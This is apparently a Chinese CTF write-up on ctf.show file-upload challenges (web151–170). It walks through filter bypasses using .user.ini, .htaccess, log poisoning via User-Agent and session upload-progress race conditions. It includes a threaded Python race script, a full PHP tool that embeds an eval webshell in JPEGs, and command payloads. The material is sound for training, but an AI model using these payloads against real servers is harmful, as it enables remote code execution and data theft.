期末考完终于可以好好学ctf了,先把这些该回顾的回顾完,直接rushjava!
目录
web151
web152
web153
web154-155
web156-159
web160
web161
web162-163
web164
web165
web166
web167
web168
web169-170
web151
如果直接上传php文件就会弹窗
直接禁js按钮就不能上传文件了
一种方法是改js代码(png=>php)
然后直接上传即可
另一种方法可以不改js,直接抓包,然后改数据包信息,png=>php即可成功上传
连蚁剑,下略
web152
抓包,改content-type就行
下略
web153
"\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4" 实际上是 Unicode 编码下的中文字符串,对应的中文是 "文件类型不合规" 。"\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4" 中的每个 "\u" 表示紧跟着的四位十六进制数表示一个字符的码点。例如,"\u6587" 表示中文字符 "文" 的码点 U+6587,"\u4ef6" 表示中文字符 "件" 的码点 U+4EF6,以此类推。
嫌查表麻烦可以直接在浏览器的console运行一下嘛
经过尝试发现是对文件后缀有过滤,用phtml就可绕过
但好家伙配置文件不把phtml当php解析是吧
润了,只能上传.user.ini
相当于给/upload这个目录下所有文件都包含一个指定文件
包含一个藏马的文件(包括图片文件)就相当于在页面里写了个马
连蚁剑,下略
web154-155
正常上传.user.ini后再上传图片文件时会如上报错,说明有文件内容检测了,bp抓包简单二分法测一下就好。
发现过滤了php,直接短标签即可
成功连蚁剑,下略
web156-159
二分法测出来过滤了'[',我测,这还咋写马(其实可以用{}来代替[])
但如果想不到的话也倒不必强求,直接配置文件配合日志包含就行
GIF89a auto_prepend_file=/var/log/nginx/access.log
这种姿势我挺喜欢的,可以积累一下捏。
web160
终于ban了,二分法测一下发现是log被禁了。
问题不大,可以尝试字符串拼接试试
会发现并不支持这样的写法,那我们还是回头对包含图片马做文章吧。
继续二分法测发现过滤了'[','{','()','`'和空格,这其实敏感的师傅很快就懂了,include嘛。
继续日志包含,php代码肯定支持拼接的,log拼接一下就可绕过过滤
=include"/var/lo"."g/nginx/access.l"."og"?>
然后UA命令执行就行
web161
多一个文件头过滤罢了,加个GIF89a
下略
web162-163
先包含一个sess文件
GIF89a auto_prepend_file=/tmp/sess_Z3r4y
session.upload_progress.enabled = On session.upload_progress.prefix = "upload_progress_" session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" session.use_strict_mode = Off session.save_path = /tmp session.upload_progress.cleanup = On
在相关选项开启的情况下, 我们如果在上传文件的过程中 POST 一个变量 PHP_SESSION_UPLOAD_PROGRESS, PHP 就会创建一个对应的 session 文件, 文件内包含 PHP_SESSION_UPLOAD_PROGRESS 的值
如果 session.use_strict_mode = Off 时, 我们可以通过在 Cookie 中设置 PHPSESSID=123 (默认 prefix 为 PHPSESSID) 来指定 session 文件名为 sess_123 (否则就是 sess_[32位随机字符串])
当 session.upload_progress.cleanup = On 时就需要条件竞争。
import requests import threading url = 'http://f36bdfea-6976-4d23-922a-734073d4665b.challenge.ctf.show/' def write(session): data = { 'PHP_SESSION_UPLOAD_PROGRESS': '' } while True: files = {'file': ('1.png', b'GIF89a', 'image/png')} response = session.post(url+"upload.php",cookies={'PHPSESSID': 'Z3r4y'}, data=data, files=files) def read(session): while True: response = session.get(url+'upload/') if 'ctfshow' in response.text: print(response.text) break else: print('retry') if __name__ == '__main__': session = requests.session() for i in range(30): threading.Thread(target=write, args=(session,)).start() for i in range(30): threading.Thread(target=read, args=(session,)).start()
这题本质其实就是文件上传的利用了
可以看文件包含刷题记录的web82
web164
.user.ini不让用了
随便上传一个png看一下,发现页面从回显文件路径变成查看图片了,点击看一下发现存在一个文件包含点。
可以尝试用png二次渲染绕过
*/ ?>
生成图片,再提交,点击查看图片,传参rce
(浏览器返回的数据是图片形式的,所以要bp抓包看原始数据)
web165
这次是只让上传jpg文件了
可以用jpg二次渲染绕过
In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = '=eval($_POST[1]);?>'; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>用法:php jpg二渲.php a.jpg
这个得看命,只能说找不到合适的图片
web166
这题只能上传zip文件
问题不大,上传一个zip文件,在文件内容末尾插入一段php代码
然后点击下载文件抓包rce即可
web167
题目提示httpd懂的都懂,apache呗
然后这次是只能上传jpg文件
先写payload.txt内容,再把属性改为.jpg
直接上传payload.jpg
点击下载文件拿到文件路径
然后上传配置文件,因为是apachehttpd,所以要上传.htaccess
在此之前我们要先改一下前端代码
.htaccess内容(别问为什么有多余的那串,懂的都懂)
#define width 1; #define height 1; SetHandler application/x-httpd-php
bp抓包改一下content-type发包
访问图片路径(现在已经被当作php文件解析)
payload:
1=system('tac ../f*');
web168
基础免杀还行
这次只让上传png文件
正常上传一个图片马会回显一个null
下面这样可以过免杀
=`tac ../flagaa.php`;?>
访问/upload/yjh3.php拿到flag
web169-170
能有多高级?
还是走回老路子,直接配置文件配合日志包含(改前端,改content-type不解释)
但正常访问/upload/会报403,所以我们要自己再上传一个php文件
上传文件如下,高级免杀也拦不住(
顺带UA写个马
直接访问/upload/suibian.php